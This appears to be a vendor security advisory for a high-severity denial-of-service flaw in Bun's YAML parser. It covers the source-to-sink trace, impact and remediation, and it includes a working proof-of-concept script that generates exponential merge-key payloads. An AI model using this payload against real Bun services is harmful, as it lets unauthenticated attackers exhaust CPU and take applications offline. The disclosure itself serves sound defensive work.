Exponential merge keys in Bun's YAML implementation leads to DoS
Exponential merge keys in Bun.YAML.parse trigger CPU exhaustion
Severity rating
HighNo numeric base score was published with this disclosure.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Source
Bun.YAML.parse
src/bun.js/api/YAMLObject.zig:915-960
Sink
ParserCtx.toJS (object materialisation loop)
src/bun.js/api/YAMLObject.zig:1034-1045
Bun.YAML.parse materialises YAML mappings by iterating every merge (<<) entry and blindly appending the referenced property list to the target object (src/bun.js/api/YAMLObject.zig:1034-1045). Because the loop does not track merge depth or repeated anchors, an attacker can craft a document where each level merges all previous anchors (<<: [*a0, *a1, …]). The parser repeatedly copies the entire accumulated property array for each level, resulting in exponential work while the payload remains only a few kilobytes. Running the supplied payload against Bun 1.3.0 (bun --eval …) shows parse times climbing past 9 seconds on a single CPU core, enabling a trivial network DoS via untrusted YAML input.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- None
- IntegrityI
- None
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
bun.js/ api/ YAMLObject.zig:915-960 Bun.YAML.parse
- Step 01src/
bun.js/ api/ YAMLObject.zig:922 Bun.YAML.parseaccepts attacker-controlled input and invokes the YAML parser without imposing size or recursion limits.zig const input_value = callFrame.argumentsAsArray(1)[0]; - Step 02src/
interchange/ yaml.zig:780-893 parseFlowMapping/parseBlockMappingbuild AST nodes whosepropertiesslices simply inline every merge (<<) target, duplicating anchors instead of referencing them.zig try props.appendSlice(value_obj.properties.slice()); - Step 03src/
bun.js/ api/ YAMLObject.zig:1034-1041 ParserCtx.toJSiterates thepropertiesslice and converts each entry into JS strings/values with no merge-depth accounting.zig const key_str = try key.toBunString(ctx.global); try obj.putMayBeIndex(ctx.global, &key_str, value); - Step 04src/
bun.js/ bindings/ bindings.cpp:3735 putMayBeIndexstores each property on the JS object, so the exponential number of duplicated keys translates directly into CPU time beforeYAML.parsereturns to user code.cpp object->putDirectMayBeIndex(...); - Sinksrc/
bun.js/ api/ YAMLObject.zig:1034-1045 ParserCtx.toJS (object materialisation loop)
Impact
Reported impact
Repeated requests allow an unauthenticated attacker to peg a CPU core and starve other work, causing a denial of service. Memory usage also spikes due to repeated property duplication.
Attack surface
Any Bun application that calls Bun.YAML.parse (or YAML.parse) on user-controlled data—configuration endpoints, API payloads, etc.—is affected.
Preconditions
None; the attacker only needs the ability to submit a YAML document. No authentication or special privileges are required.
Attack path
- 1
Craft a payload where each object merges every prior anchor.
- 2
Send the payload to
Bun.YAML.parse. - 3
The parser spends several seconds copying property arrays before returning, tying up the event loop.
Proof of concept
- 01
Environment setup
Requirements: macOS 15.1 (Apple M1), Bun 1.3.0 (system install).
Verify version:
bash bun --version # 1.3.0 - 02
Target configuration
Execute the following script, which builds a depth-24 merge payload (~2.2 KB) and measures parse time:
bash /usr/bin/env bun --eval ' import { YAML } from "bun"; function build(depth) { const lines = []; lines.push(`a0: &a0\n k0: 0`); for (let i = 1; i <= depth; i++) { const refs = Array.from({ length: i }, (_, j) => `*a${j}`).join(", "); lines.push(`a${i}: &a${i}\n <<: [${refs}]\n k${i}: ${i}`); } lines.push(`root:\n <<: *a${depth}`); return lines.join("\n"); } const payload = build(24); const start = Date.now(); YAML.parse(payload); console.log({ depth: 24, durationMs: Date.now() - start, payloadBytes: payload.length }); ' - 03
Expected response
text { depth: 24, durationMs: 9498, payloadBytes: 2249 } - 04
Outcome
Bun.YAML.parsespends ~9.5 seconds materialising a 2.2 KB document, allowing a remote attacker to keep a core saturated by repeatedly sending the payload. Higher depths continue to grow exponentially, so parallel requests can knock the process offline entirely.
Remediation
Guidance
Deduplicate merge keys while tracking merge depth or anchor references so each YAML node is materialised at most once. The patch under review introduces a MappingProps helper (src/interchange/yaml.zig:986-1041) that:
-
Keeps a set of seen keys when applying merges, preventing unbounded duplication.
-
Reuses existing
propertieslists instead of copying them repeatedly.
Ensure similar safeguards exist for both flow and block mappings, and add unit tests (e.g., test/js/bun/yaml/yaml.test.ts) that parse the PoC payload with a tight timeout to prevent regressions. Consider also rejecting documents that exceed a reasonable merge depth or property count to provide a defense in depth.
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
